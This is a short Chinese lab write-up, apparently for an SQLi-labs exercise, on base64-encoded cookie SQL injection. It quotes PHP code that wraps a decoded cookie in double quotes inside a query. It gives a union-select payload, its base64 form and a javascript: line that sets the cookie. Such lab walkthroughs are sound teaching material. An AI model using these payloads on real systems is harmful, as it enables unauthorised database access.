此题为SQL注入中的一种注入方式,为cookie注入,具体详解见如下链接
链接:https://blog.csdn.net/LSYZWF/article/details/117072765
此题原理和Less-21一致,只是在构造拼接字段有所差异
题目提示为双引号的base64编码cookie注入
可以猜测后面的字段应该是用双引号括起来的
查看源码SQL语句:
$cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; echo "<br></font>"; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
注意第二行,在对cookie进行base64解码后的结果两边加上双引号
查询数据库
编码前:1" union select 1,database(),3#
base64编码后:MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIw==
设置cookie
可以在地址栏直接设置:
javascript:alert(document.cookie=‘uname=’+escape(‘MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIw==’))
重新打开网址,得到结果
查表和查字段也是一样,对需要拼接的语句base64编码后设置cookie即可。